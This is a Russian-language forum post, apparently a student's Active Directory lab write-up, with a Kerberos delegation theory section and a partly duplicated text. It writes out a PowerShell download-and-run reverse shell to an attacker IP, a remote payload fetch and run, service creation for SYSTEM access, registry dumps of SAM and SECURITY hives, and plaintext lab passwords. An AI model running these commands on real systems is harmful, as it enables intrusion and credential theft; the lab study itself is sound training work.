Всех с наступающим Новым Годом! :snowman2::snowflake:
Продолжаем тыкать АДшку. В этом части изучим Делегирование KERBEROS.
Как говорил товарищбастурман @posterman ты вот только читал статьи по AD, а в теме нихуя не разобрался=) Поэтому в жопу эту теорию. На практике разберемся, может лыжи и поедут.
Все авторские права принадлежат студенту и Академии Кодебай
Впн выдал нам айпишник. Доступна сетка для скана 10.117.0.0/24. Сразу ее сканим на наличие открытых портов.
Учетки от почты выдали нам.
Пробовал получить первоначальный доступ с помощью smbserver.py
К примеру вот так: https://medium.com/@markmotig/capturing-hashes-with-hidden-folders-lnk-files-and-smbserver-by-markmo-a4ab87b7aa15
Но там надо было создавать офисный документ с макросом, крч лень, т.к формат .bat не устраивал. Та и товарищ мне подсказал что эта лаба не так решается, не получится сбрутить хэш.
Уязвимость дает RCE - удаленное выполнение команд через создания админской учетки.
Нашел следующий exploit https://github.com/Stuub/RCity-CVE-2024-27198
Смог войти в админку, но увы шелл мы еще не получили.
Эксплоит отказался нерабочим. Ну точнее шелл. Перебрав некоторые на github я получил шелл
Через RCE удалось получить сесию на havoc
Поискав информацию из под этого пользователя стало понятно что нужно повышатся, но стандартными способами получить сесию не получалось, придумал использовать dead potato для изменения службы spooler и получить сесию так. Вышло так повысится ток 1 раз далее делал так - sc create UpdateServicets19 binPath= "c:\windows\tasks\ts19.exe" start= auto - создал службу для повышения sc start UpdateServicets19 - запустил службу получил систему
Получили сесию СИСТЕМА в havoc + нашли второй флаг
Проверил пользовательскую учетку bilderuser но она оказалась локальной. Пароль получил через mimikatz в открытом виде.
Понятно стало что нужно получить интерактивную сесию ps для пользователя СИСТЕМА
Посмотрел таблицу делегирования.
Долго сидел думал как получить креды для дальнейшего повышения и тут понял что раз по почте пользователь переходит по smb то можно заставить его отдать свой тикет серверу. Запускаем Rubeus в режиме монитор и пишем письмо с полезной нагрузкой.
где ru_ts19.exe - это переименованный рубеус.
Далее мы импортируем ptt и можем выполнять команды на другой сервер
Проверяем что команды отрабатывают как нужно
Грузим номальный payload с получением оболочки на havoc
Так же поискав мы находим у пользователя пароль на рабочем столе.
Проверив креды и получив возможность в случае реверта подключиться на пользователя радуемся и идем далее
Долго искал что делать дальше но судьба меня привела в наше приложение с RCE - TeamCity. Так как эксплоит создает админские креды то мы без труда проваливаемся в вэб и находим там пользователей и почты. Далее работаем по уже отработанному плану. Я сделал рассылку на все адреса и получил еще один ответ от пользователя.
Делаю вот такую нагрузку предварительно поставив там монитор rubeus, ну и конечно интерактивый шел. shell ru_ts19.exe monitor /interval:5 /nowrap
Импортируе ptt и опять используем скрипт бок для получения сесии в havoc
Флага у пользователя не оказалось. Поискав что можно еще найти я решил повышаться
Так как вектора куда двигать нет то просто забираем файлы
Далее нас ждет локальный парсинг, получаем пароль
приметив пользователя crocotime в users. перейдем в пользователя используя бинарник Runus
Вот мы и получили его сесию в havoc. Но посмотрев на его права стало не понятно.
При детальном рассмотрении я смог понять какие у него права (оператор архива)
Так как на этой машине у нас и так все флаги есть то двинули на CLIENT27 с пользователем crocotime. Все по отработанной схеме от пользователя который у нас есть на CLIENT27 rublenko делаем
Далее так как права у пользователя sebackup забираем sam+system
Качаем для брута пароля учетных данных
Сбрутился пароль админа
Использовав то же самый RunUs получаем сесию в havoc
Поискав по системе что еще криво лежит мы находим базу данных приложения keepass
Поискав в инете как это можно использовать нашел john2keepass. Качаем себе и файл и крякер будем расшифровывать мастерключ для БД
Получили хэш для hashcat идем брутить
Все у нас есть мастерключ от базыданных. Устанавливаем приложуху на kali, загружаем базу данных и открываем её мастерключем
Попереходив по сервисам стало понятно что пароль от пользователя АДМИНИСТРАТОР
Проверяем учетку через netexec и убеждаемся, что она валидная. Далее подключаемся к smb используя impacket.
Продолжаем тыкать АДшку. В этом части изучим Делегирование KERBEROS.
Спойлер: Голая теория
Делегирование в Kerberos — это механизм, который позволяет сервисам, работающим от имени пользователя, действовать от его имени при обращении к другим сервисам. Это используется в ситуациях, когда сервису нужно получить доступ к ресурсам от имени пользователя, например, в сложных инфраструктурах с промежуточными службами. Основные виды делегирования: Ограниченное делегирование (Constrained Delegation, KCD): Позволяет указать конкретные сервисы, к которым может обращаться делегированный сервис от имени пользователя. Используется для ограничения круга сервисов, доступных через делегирование, что повышает безопасность. Требует использования расширений протокола Kerberos в Active Directory. Неограниченное делегирование (Unconstrained Delegation): Предоставляет сервису возможность представлять пользователя для любых ресурсов в сети. Менее безопасный вариант, так как сервис получает полные привилегии пользователя. Делегирование с протоколом S4U2Proxy: Используется для передачи прав аутентификации от одного сервиса к другому. Включает поддержку ограниченного делегирования, чтобы избежать лишних привилегий. Пример использования:Представьте систему, где веб-сервер получает запрос от пользователя и должен обратиться к базе данных. Если база данных использует Kerberos для аутентификации, веб-сервер должен получить делегированные права пользователя, чтобы выполнить запрос. Как работает делегирование: Пользователь аутентифицируется и получает тикет Kerberos для доступа к первому сервису (например, веб-серверу). Первый сервис (веб-сервер) запрашивает делегированный тикет от имени пользователя, чтобы обратиться к другому сервису (например, базе данных). Если делегирование разрешено, контроллер домена выдает тикет, который веб-сервер может использовать для доступа ко второму сервису. Настройка в Active Directory:Для делегирования требуется: Настроить учетные записи сервисов в Active Directory. Определить, какие сервисы могут использовать делегирование (особенно в случае ограниченного делегирования). Проблемы безопасности: Неограниченное делегирование может быть использовано злоумышленниками для захвата привилегий пользователей. Уязвимости типа "золотой билет" в Kerberos могут усилить риск делегирования. Делегирование Kerberos полезно, но его использование требует тщательной настройки и мониторинга, чтобы избежать компрометации безопасности. Простой пример чтобы было понятно почему существую виды делегирования. Неограниченное делегирование: Веб-сервер может использовать учетные данные пользователя для доступа к любому ресурсу в сети, например, к базе данных или файловому серверу. Ограниченное делегирование: Веб-сервер может использовать учетные данные пользователя только для доступа к базе данных, но не к другим ресурсам. S4U2Proxy: Веб-приложение использует делегированные права пользователя для запроса данных из базы данных через промежуточный API-сервис. S4U2Proxy (Service for User to Proxy) нужен для безопасного делегирования прав, когда исходный пользователь не передает свои учетные данные (например, TGT), а сервис получает тикет от имени пользователя через контроллер домена. Это решает ряд проблем, связанных с безопасностью и гибкостью. Проблемы с другими видами делегирования: Неограниченное делегирование: Риск компрометации: Если злоумышленник скомпрометирует сервисный аккаунт, он сможет действовать от имени любого пользователя для доступа к любым ресурсам в сети. Чрезмерные привилегии: Сервис имеет больше прав, чем требуется, что противоречит принципу минимизации прав (least privilege). Ограниченное делегирование: Требует полного списка сервисов: Необходимо заранее указать все ресурсы, к которым разрешено обращаться. Это неудобно в динамических или сложных системах. Не поддерживает кросс-доменные сценарии: Ограниченное делегирование работает только внутри одного домена Active Directory, что делает его непрактичным для междоменных операций. Как решает проблемы S4U2Proxy: Безопасность: Учетные данные пользователя (TGT) никогда не передаются сервису, что снижает риск их компрометации. Гибкость: Позволяет динамически запрашивать делегированные тикеты только для конкретных сервисов, определяя их по необходимости. Кросс-доменная поддержка: S4U2Proxy позволяет делегировать права между доменами, если установлены доверительные отношения. Пример:Представьте, что веб-сервису нужно получить доступ к API и базе данных. С S4U2Proxy веб-сервис запрашивает контроллер домена о делегированном тикете только для этих ресурсов, не получая доступ к другим. Это делает делегирование более управляемым и безопасным. Пример использования S4U2Proxy с сервисами для резервного копирования: Сценарий: У вас есть корпоративная система резервного копирования (сервис A), которая сохраняет данные пользователей в облачное хранилище (сервис B). Сервис A должен отправлять файлы пользователей в сервис B от их имени, чтобы соблюсти требования безопасности и аудита. Участники: Пользователь: Иван Иванов (учетная запись AD: ivan.ivanov). Сервис A: Система бэкапов (корпоративное приложение). Сервис B: Облачное хранилище (например, Azure Files или Amazon S3 с Kerberos-аутентификацией). Процесс: Иван Иванов аутентифицируется в Active Directory, чтобы инициировать резервное копирование своих данных. Сервис A получает тикет Kerberos для работы от имени Ивана Иванова. Вместо передачи учетных данных пользователя сервису B, сервис A запрашивает контроллер домена: "Мне нужен делегированный тикет для доступа к облачному хранилищу от имени ivan.ivanov." Контроллер домена проверяет: Может ли сервис A использовать делегирование? Имеет ли сервис A разрешение на доступ к сервису B? Если все условия выполнены, контроллер домена выдает сервису A делегированный тикет только для облачного хранилища (сервис B). Сервис A использует этот тикет, чтобы загрузить данные пользователя в облачное хранилище от имени Ивана. Преимущества S4U2Proxy в этом случае: Безопасность: Сервис A не получает прямого доступа к учетным данным Ивана, а только временный делегированный тикет. Ограничение прав: Тикет действует только для облачного хранилища (сервис B) и не может быть использован для других ресурсов. Динамическая настройка: Не нужно заранее прописывать, к каким именно хранилищам должен быть доступ (как в ограниченном делегировании). Отличие от других видов делегирования: Неограниченное делегирование: Сервис A получил бы полный доступ ко всем ресурсам, к которым имеет доступ Иван, включая другие серверы и приложения, что создает угрозу. Ограниченное делегирование: Требуется вручную указывать доступ к сервису B для всех возможных сценариев, что неудобно и негибко. Итог: S4U2Proxy идеально подходит для случаев, когда нужно безопасно передавать права пользователя сервисам, ограничивая доступ только нужными действиями и минимизируя риски. Ограниченное делегирование: Полезно, когда нужно предоставить доступ сервису только к конкретным ресурсам внутри одного домена. Неограниченное делегирование: Уместно в доверенной среде для сервисов, которым нужен полный доступ ко всем ресурсам от имени пользователя. S4U2Proxy: Используется, когда нужно динамически и безопасно делегировать права пользователя для работы с конкретными сервисами, особенно в кросс-доменных сценариях.
Как говорил товарищ
Все авторские права принадлежат студенту и Академии Кодебай
Впн выдал нам айпишник. Доступна сетка для скана 10.117.0.0/24. Сразу ее сканим на наличие открытых портов.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Учетки от почты выдали нам.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Пробовал получить первоначальный доступ с помощью smbserver.py
К примеру вот так: https://medium.com/@markmotig/capturing-hashes-with-hidden-folders-lnk-files-and-smbserver-by-markmo-a4ab87b7aa15
Но там надо было создавать офисный документ с макросом, крч лень, т.к формат .bat не устраивал. Та и товарищ мне подсказал что эта лаба не так решается, не получится сбрутить хэш.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Уязвимость дает RCE - удаленное выполнение команд через создания админской учетки.
Нашел следующий exploit https://github.com/Stuub/RCity-CVE-2024-27198
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Смог войти в админку, но увы шелл мы еще не получили.
Не удалось прогрузить медиа
Эксплоит отказался нерабочим. Ну точнее шелл. Перебрав некоторые на github я получил шелл
Не удалось прогрузить медиа
Через RCE удалось получить сесию на havoc
Не удалось прогрузить медиа
Поискав информацию из под этого пользователя стало понятно что нужно повышатся, но стандартными способами получить сесию не получалось, придумал использовать dead potato для изменения службы spooler и получить сесию так. Вышло так повысится ток 1 раз далее делал так - sc create UpdateServicets19 binPath= "c:\windows\tasks\ts19.exe" start= auto - создал службу для повышения sc start UpdateServicets19 - запустил службу получил систему
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Получили сесию СИСТЕМА в havoc + нашли второй флаг
Не удалось прогрузить медиа
Проверил пользовательскую учетку bilderuser но она оказалась локальной. Пароль получил через mimikatz в открытом виде.
Не удалось прогрузить медиа
Понятно стало что нужно получить интерактивную сесию ps для пользователя СИСТЕМА
iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/antonioCoco/ConPtyShell/ refs/heads/master/Invoke-ConPtyShell.ps1')); Invoke-ConPtyShell 10.0.0.229 4422 - в winrm или havoc stty raw -echo; (stty size; cat) | nc -lvnp 4422 - на kaliНе удалось прогрузить медиа
Посмотрел таблицу делегирования.
Не удалось прогрузить медиа
Долго сидел думал как получить креды для дальнейшего повышения и тут понял что раз по почте пользователь переходит по smb то можно заставить его отдать свой тикет серверу. Запускаем Rubeus в режиме монитор и пишем письмо с полезной нагрузкой.
Не удалось прогрузить медиа
shell ru_ts19.exe monitor /interval:5 /nowrapгде ru_ts19.exe - это переименованный рубеус.
Не удалось прогрузить медиа
Далее мы импортируем ptt и можем выполнять команды на другой сервер
Не удалось прогрузить медиа
Проверяем что команды отрабатывают как нужно
Не удалось прогрузить медиа
Грузим номальный payload с получением оболочки на havoc
Invoke-Command -ComputerName CLIENT27 -Scriptblock {wget http://10.0.0.229/agent.exe -O C:\windows\tasks\ts19.exe ; cmd.exe /c 'icacls "c:\windows\tasks\ts19.exe" /grant *S-1-1-0:(RX)' ; cmd /c C:\windows\tasks\ts19.exe}Не удалось прогрузить медиа
Так же поискав мы находим у пользователя пароль на рабочем столе.
Не удалось прогрузить медиа
Проверив креды и получив возможность в случае реверта подключиться на пользователя радуемся и идем далее
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Долго искал что делать дальше но судьба меня привела в наше приложение с RCE - TeamCity. Так как эксплоит создает админские креды то мы без труда проваливаемся в вэб и находим там пользователей и почты. Далее работаем по уже отработанному плану. Я сделал рассылку на все адреса и получил еще один ответ от пользователя.
Не удалось прогрузить медиа
Делаю вот такую нагрузку предварительно поставив там монитор rubeus, ну и конечно интерактивый шел. shell ru_ts19.exe monitor /interval:5 /nowrap
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Импортируе ptt и опять используем скрипт бок для получения сесии в havoc
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Флага у пользователя не оказалось. Поискав что можно еще найти я решил повышаться
sc create UpdateServicets19 binPath= "c:\windows\tasks\ts19.exe" start= auto - создал службу для повышения sc start UpdateServicets19 - запустил службу получил системуНе удалось прогрузить медиа
Так как вектора куда двигать нет то просто забираем файлы
Code:
shell reg save HKLM\SECURITY C:\Windows\Tasks\security_ts19
shell reg save HKLM\SAM C:\Windows\Tasks\sam_ts19
shell reg save HKLM\SYSTEM C:\Windows\Tasks\system_ts19
Не удалось прогрузить медиа
Далее нас ждет локальный парсинг, получаем пароль
Не удалось прогрузить медиа
приметив пользователя crocotime в users. перейдем в пользователя используя бинарник Runus
Не удалось прогрузить медиа
Вот мы и получили его сесию в havoc. Но посмотрев на его права стало не понятно.
Не удалось прогрузить медиа
При детальном рассмотрении я смог понять какие у него права (оператор архива)
Не удалось прогрузить медиа
Так как на этой машине у нас и так все флаги есть то двинули на CLIENT27 с пользователем crocotime. Все по отработанной схеме от пользователя который у нас есть на CLIENT27 rublenko делаем
Runus token make ORG17.LOCAL rublenko f3J(iD75QtA$x3 LOGON_INTERACTIVE powershell cmd.exe /c 'icacls "c:\windows\tasks\ts19.exe" /grant *S-1-1-0:(RX)' powershell cmd.exe /c 'icacls "c:\windows\tasks\run_ts19.exe" /grant *S-1-1-0:(RX)' shell run_ts19.exe crocotime JDIf04j-2ef343 "cmd /c C:\windows\tasks\ts19.exe" --bypass-uac - получили сесию в havoc token make ORG17.LOCAL crocotime JDIf04j-2ef343 LOGON_INTERACTIVE Далее так как права у пользователя sebackup забираем sam+system
Не удалось прогрузить медиа
Качаем для брута пароля учетных данных
Не удалось прогрузить медиа
Сбрутился пароль админа
Не удалось прогрузить медиа
Использовав то же самый RunUs получаем сесию в havoc
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Поискав по системе что еще криво лежит мы находим базу данных приложения keepass
Не удалось прогрузить медиа
Поискав в инете как это можно использовать нашел john2keepass. Качаем себе и файл и крякер будем расшифровывать мастерключ для БД
Не удалось прогрузить медиа
Получили хэш для hashcat идем брутить
Не удалось прогрузить медиа
Все у нас есть мастерключ от базыданных. Устанавливаем приложуху на kali, загружаем базу данных и открываем её мастерключем
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Попереходив по сервисам стало понятно что пароль от пользователя АДМИНИСТРАТОР
Проверяем учетку через netexec и убеждаемся, что она валидная. Далее подключаемся к smb используя impacket.
👍64
🔥13
👏11
💯9
LIMB